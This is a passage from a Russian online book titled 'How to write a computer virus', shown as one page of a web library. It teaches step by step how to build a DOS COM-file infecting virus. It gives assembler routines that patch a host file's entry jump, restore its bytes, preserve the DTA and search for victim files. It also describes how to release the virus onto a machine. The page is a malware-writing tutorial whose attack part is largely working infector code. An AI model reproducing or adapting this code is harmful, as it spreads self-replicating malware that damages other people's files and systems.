Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#12| Old Monk & Old Hero
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Коваль И. Весь текст 308.41 Kb

Как написать компьютерный вирус

Предыдущая страница Следующая страница
1  2 3 4 5 6 7 8 9 10 11 12 13 14 ... 27
    мер COM - файла не может превышать 64 Кбайт. В са-
    мом деле, ведь COM - формат предполагает  размеще-
    ние программных кодов, данных и стека в одном сег-
    менте оперативной памяти . А  размер  сегмента как
    раз и ограничен 64 Кбайтами .


         1.2 Как вирус может заразить COM - файл

    Под заражением понимают присоединение вирусом сво-
    его кода к файлу .При этом вирус должен так  моди-
    фицировать  заражаемый файл, чтобы получить управ-
    ление при его запуске .
    Существует несколько методов заражения  COM - про-
    грамм.Вирусный код может записываться в конец, на-
    чало и даже в середину файла.Каждый из этих спосо-
    бов имеет свои достоинства и недостатки.Мы же рас-
    смотрим запись вирусного кода в конец файла .Такой
    прием используется в подавляющем большинстве виру-
    сов, и обеспечивает хорошие результаты при сравни-
    тельно простой реализации .
    Итак, вирус записывает свой код в конец файла .Для
    того,чтобы при старте этот код получил  управление
    и начал выполняться,  во время заражения программа
    несколько  модифицируется .
    С  этой целью  используется  трехбайтовая  команда
    прямого  ближнего перехода . Вирус записывает  эту
    команду вместо первых трех байт заражаемого файла,
    а  исходные  три  байта  сохраняет в своей области
    данных .Теперь при запуске  зараженной   программы
    код вируса всегда будет выполняться первым .


         1.3 Работа вируса в зараженной программе

    Получив  управление  при старте зараженной програ-
    ммы,  вирус выполняет следующие действия :

    1. Восстанавливает в  памяти компьютера   исходные
    три  байтa этой программы .

    2. Ищет на диске подходящий COM - файл .

    3. Записывает свое тело в конец этого файла .

    4. Заменяет  первые три байта заражаемой программы
    командой перехода на свой код,  сохранив предвари-
    тельно исходные  три байта в своей области данных.

    5. Выполняет вредные действия, предусмотренные ав-
    тором .

    6. Передает управление зараженной  программе . По-
    скольку в COM - файле  точка  входа  всегда  равна
    CS : 100h, можно не выполнять сложных расчетов,  а
    просто выполнить переход на этот адрес .

    Если же подходящих для заражения COM - файлов най-
    дено не было, то вирус просто осуществляет переход
    на начало  зараженной  программы,  из которой он и
    стартовал .
    После  этого зараженная  программа выполняется,как
    обычно .
    Сам вирусный код выполняется  очень быстро  и  для
    пользователя ЭВМ этот процесс остается незаметным.
    Стоит заметить, что п.5 может вообще не выполнять-
    ся .Существуют вирусы, которые никак не  проявляют
    себя,  кроме размножения ( например, VIENNA 534 ).
    Вместе с тем есть и такие, которые способны нанес-
    ти определенный вред файлам или диску.Например,ви-
    рус ANTI_EXE  мешает  нормально  работать с  EXE -
    файлами, DARK AVENGER записывает бессмысленную ин-
    формацию в случайные сектора диска, а ONEHALF шиф-
    рует сектора на винчестере один за другим .Все за-
    висит от изобретательности автора .


        1.4 Как начинается распространение вируса

    Очевидно, чтобы вирус  распространился,  его нужно
    внедрить  в вычислительную  систему . Делается это
    так :

    1. Автор разрабатывает вирусную программу . Обычно
    для  этой цели используется язык  ассемблера,  так
    как программы, написанные на нем,выполняются очень
    быстро и имеют малый размер .Хотя есть вирусы, на-
    писанные на языке TURBO C и даже на TURBO PASCAL .

    2. Исходный текст  программы компилируется,  и  из
    него создается исполняемый файл (обычно типа COM).
    Этот файл предназначен для того, чтобы " выпустить
    вирус на свободу " .Назовем программу,записанную в
    этом файле, запускающей .

    3. Запускающая программа выполняется на машине,ко-
    торую необходимо заразить .

    4. Выпущенный на свободу вирус выполняет действия,
    описанные в 1.3 .Различие заключается только в вы-
    полнении п.1 . А именно - при восстановлении в па-
    мяти  исходных трех  байтов программы  на их место
    записывается команда перехода, передающая управле-
    ние коду  завершения запускающей  программы. Таким
    образом, при выполнении п.6  управление будет  от-
    дано  операционной системе, а на диске  образуется
    зараженный  файл. При копировании  этого файла  на
    другие  компьютеры и их запуске  вирус начнет рас-
    пространяться .

    Итак, займемся изготовлением COM - вируса ...


                    1.5 Начало работы

    Для разработки вируса лучше всего использовать COM
    формат.Это сделает его отладку более простой и на-
    глядной .Кроме того, структура COM - программы на-
    много проще и понятнее, чем структура программы  в
    формате EXE.Поэтому напишем стандартное начало COM
    программы :

    prg segment
       assume cs:prg,ds:prg,es:prg,ss:prg
          org 100h

    Директива "assume cs:prg,ds:prg,es:prg,ss:prg" на-
    значает все сегментные регистры одному сегменту  с
    именем PRG,а директива "org 100h" нужна для резер-
    вирования места для PSP .


              1.6 Вирус получает управление

    После  этого вступления  начинается собственно ис-
    полняемая часть программы ( метка START ) :

    start:     jmp vir                ;Передача управ-
                                      ;ления вирусному
                                      ;коду ...
	       org 110h

    Команда "jmp vir"  передает  управление  вирусному
    коду,  а директива "org 110h" указывает компилято-
    ру размещать все  коды после метки "vir",начиная с
    адреса  110h .Число 110h принято для удобства рас-
    чета смещений при разработке вируса .Чуть позже мы
    разберемся,  зачем понадобилась команда "jmp vir",
    а пока продолжим :

    vir:       push ds                ;Сохраним DS ...
                                      ;Корректируем
               mov ax,ds              ;регистр DS  ...
               db 05h                 ;Код команды
    add_to_ds: dw 0                   ; " ADD AX,00h "
	       mov ds,ax              ;AX -> DS    ...

    Поскольку в зараженной  программе  область  данных
    вируса будет сдвинута хотя бы на  длину  этой про-
    граммы,необходимо выполнить коррекцию регистра DS.
    Коррекция осуществляется прибавлением к его содер-
    жимому длины программы в параграфах,округленной  в
    большую сторону .Например, длина программы состав-
    ляет 401 байт . Тогда  она  содержит 25 полных па-
    раграфов и еще 1 байт.Округленное число параграфов
    будет равно 26 .Эта величина и  прибавляется к ре-
    гистру DS . При заражении вирус рассчитывает  кор-
    ректирующее число и записывает его в область "add_
    to_ds" .Теперь всякий раз при  запуске  зараженной
    программы оно будет использоваться вирусом для ис-
    правления DS . В запускающей программе DS  коррек-
    тировать не нужно,  и поэтому для нее  "add_to_ds"
    равно нулю .


         1.7 Восстанавливаем зараженную программу

    Как было указано в 1.3 ( п.1 ),  вирус должен пос-
    ле запуска зараженной программы восстановить в па-
    мяти компьютера ее исходные три байтa ( не на дис-
    ке, а только в памяти ! ) .Пусть  вирус хранит ис-
    ходные три байта в области "old_bytes".
    Итак :

    fresh_bytes:
	       mov al,old_bytes
	       mov cs:[100h],al
	       mov al,old_bytes+1
	       mov cs:[101h],al
	       mov al,old_bytes+2
	       mov cs:[102h],al

    Вы конечно знаете,что в COM - программе при ее за-
    грузке по адресу CS : 100h всегда находится первая
    исполняемая  команда .В остальном работа фрагмента
    ясна .


              1.8 Запоминаем содержимое DTA

    Data Transfer Arrea ( DTA ) является одной из слу-
    жебных структур MS DOS . Эта  область находится  в
    PSP по смещению 80h,  и активно используется  пос-
    ледней при работе с файлами .Например,многие функ-
    ции MS DOS обращаются к  DTA для чтения  или моди-
    фикации ее содержимого.Поскольку  DOS  строит  PSP
    для каждой вновь запускаемой программы, для каждой
    из них создается и своя DTA .
    Так как наш вирус будет использовать при заражении
    и поиске файлов функции DOS,содержимое DTA зараже-
    нной программы будет испорчено, и она, скорее все-
    го, не будет нормально работать.Поэтому содержимое
    DTA необходимо  сохранить. Для этой  цели  выделим
    массив из 128 байт с именем "old_dta":

	       mov cx,80h             ;Размер DTA -
                                      ;128 байт ...
	       mov bx,80h             ;Смещение к DTA
	       lea si,old_dta         ;Адрес массива
    save_dta:
	       mov al,byte ptr cs:[bx];Читаем из DTA
                                      ;байт и  перено-
	       mov ds:[si],al         ;сим его в мас-
                                      ;сив ...
	       inc bx                 ;К новому байту
	       inc si                 ;
	       loop save_dta          ;Цикл 128 раз

    Работа фрагмента пояснений не требует ...


                1.9 Ищем подходящий файл

    Теперь самое время заняться поиском файла для  за-
    ражения.Для поиска файла - жертвы мы будем исполь-
    зовать пару функций DOS : 4Eh ( поиск первого фай-
    ла ) и 4Fh ( поиск следующего файла ) . При вызове
    4Eh в регистр CX помещаются атрибуты искомого фай-
    ла,  а в DX - его имя и расширение . Установленная
    нами маска предполагает поиск COM-файла, с атрибу-
    тами "archive","system" и "hidden".Функция 4Fh ис-
    пользуется уже после того, как функция  4Eh  нашла
    первый файл, удовлетворяющий нашим требованиям.Ви-
    рус будет вызывать ее в том случае, если найденный
    файл ему не подходит (например, он слишком велик).
    Имя найденного  файла описанные выше функции поме-
    щают  в DTA по смещению 01eh .
    А  теперь приведем  программный фрагмент,   выпол-
    няющий поиск файла :

    find_first:
	       mov ah,4eh             ;Поиск первого
                                      ;файла ...
	       mov cx,00100110b       ;archive, system
                                      ;hidden
	       lea dx,maska           ;Маска для поис-
                                      ;ка
	       int 21h
	       jnc r_3                ;Нашли !
	       jmp restore_dta        ;Ошибка !

    find_next: mov ah,3eh             ;Закроем  непод-
	       int 21h                ;ходящий файл...
	       jnc r_2
	       jmp restore_dta        ;Файл нельзя за-
                                      ;крыть !

    r_2:       mov ah,4fh             ;И найдем сле-
	       int 21h                ;дующий ...
	       jnc r_3                ;Файл найден !
	       jmp restore_dta        ;Ошибка !

    r_3:       mov cx,12              ;Сотрем в буфере
	       lea si,fn              ;"fn" имя  пред-
    destroy_name:                     ;ыдущего файла
	       mov byte ptr [si],0    ;
	       inc si                 ;
	       loop destroy_name      ;Цикл 12 раз ...

               xor si,si              ;И запишем в бу-
    copy_name: mov al,byte ptr cs:[si+9eh]
                                      ;фер имя только
	       cmp al,0               ;что найденного
                                      ;файла ...
	       je open                ;В конце имени в
	       mov byte ptr ds:fn[si],al
                                      ;DTA всегда сто-
               inc si                 ;ит ноль, его мы
	       jmp copy_name          ;и хотим достичь

    Имя файла в буфере " fn "  необходимо стирать  вот
    почему .Например,  первым был найден файл COMMAND.
    COM,  и пусть он не подошел вирусу.Тогда вирус по-
    пытается найти следующий файл.Пусть это будет WIN.
    COM .Его имя запишется в область " fn ",и она при-
Предыдущая страница Следующая страница
1  2 3 4 5 6 7 8 9 10 11 12 13 14 ... 27
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (9)

Реклама